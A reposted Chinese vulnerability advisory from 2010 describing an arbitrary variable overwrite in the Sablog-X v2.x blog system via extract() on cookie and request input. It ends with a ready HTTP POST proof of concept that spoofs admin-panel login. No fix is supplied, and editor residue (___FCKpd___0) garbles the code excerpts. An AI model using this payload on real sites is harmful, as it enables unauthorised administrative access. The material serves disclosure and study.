首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
Sablog-X v2.x 任意变量覆盖漏洞
来源:http://www.80vul.com 作者:80vul-B 发布时间:2010-02-22  
Sablog-X v2.x 任意变量覆盖漏洞

author: 80vul-B
team:http://www.80vul.com

一 描叙:

由于Sablog-x v2.x的common.inc.php里
___FCKpd___0
EVO初始化处理存在逻辑漏洞,导致可以利用extract()来覆盖任意变量,最终导致xss、sql注射、代码执行等很多严重的安全漏洞。 二 分析 common.inc.php代码里: .... $onoff = function_exists('ini_get') ? ini_get('register_globals') : get_cfg_var('register_globals'); if ($onoff != 1) { @extract(
___FCKpd___0
COOKIE, EXTR_SKIP); @extract(
___FCKpd___0
POST, EXTR_SKIP); @extract(
___FCKpd___0
GET, EXTR_SKIP); } ... $sax_auth_key = md5($onlineip.
___FCKpd___0
SERVER['HTTP_USER_AGENT']); list($sax_uid, $sax_pw, $sax_logincount) =
___FCKpd___0
COOKIE['sax_auth'] ? explode("\t", authcode(
___FCKpd___0
COOKIE['sax_auth'], 'DECODE')) : array('', '', ''); $sax_hash = sax_addslashes(
___FCKpd___0
COOKIE['sax_hash']); ... $seccode = $sessionexists = 0; if ($sax_hash) { ... if (
___FCKpd___0
EVO = $DB->fetch_array($query)){ //
___FCKpd___0
EVO初始化过程在if ($sax_hash)里,如果这个if条件不满足,将跳过这个初始化过程。 ... } if(!$sessionexists) { if($sax_uid) { if(!(
___FCKpd___0
EVO = $DB->fetch_one_array("SELECT $userfields FROM {$db_prefix}users u WHERE u.userid='$sax_uid' AND u.password='$sax_pw' AND u.lastip='$onlineip'"))) { ... @extract(
___FCKpd___0
EVO); //覆盖任意变量 由上面的代码片断可以看到,只要使$sax_hash和$sax_uid的布尔值为fales,
___FCKpd___0
EVO就不会被赋值,而$sax_hash和$sax_uid这两个变量来自由
___FCKpd___0
COOKIE,这样我们可以很容易的控制
___FCKpd___0
EVO了,然后通过extract()来覆盖任意变量,这将导致xss、sql inj、代码执行等很多严重的安全漏洞:) 三 利用 下面给个后台权限欺骗的PoC: POST http://127.0.0.1/sax/cp.php HTTP/1.1 Accept: */* Accept-Language: zh-cn Referer: http://127.0.0.1/sax/cp.php Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1) Host: 127.0.0.1 Content-Length: 138 Connection: Close _EVO[sax_uid]=1&_EVO[sax_pw]=1&_EVO[sax_logincount]=1&_EVO[sax_hash]=1&_EVO[sax_group]=1&_EVO[sax_auth_key]=1&_EVO[timestamp]=111111111111 四 补丁[fix] 缺

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·Sablog-X 2.X 后台管理权限欺骗
·远程包含和本地包含漏洞的原理
·搜狗浏览器“页面欺骗”漏洞
·MASA2EL Music City v1.0远程注
·Phpwind7.5 后台本地包含漏洞利
·Discuz!7.0-7.2后台settings.inc
·Discuz插件《虚拟股市》blind In
·鼎峰企业智能建站系统注入搜索注
·Shopxp v8.0 SQL Injection 0day
·快客电邮(QuarkMail)最新远程
·睛天电影系统注入漏洞
·OK3W v4.7文章管理系统漏洞
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved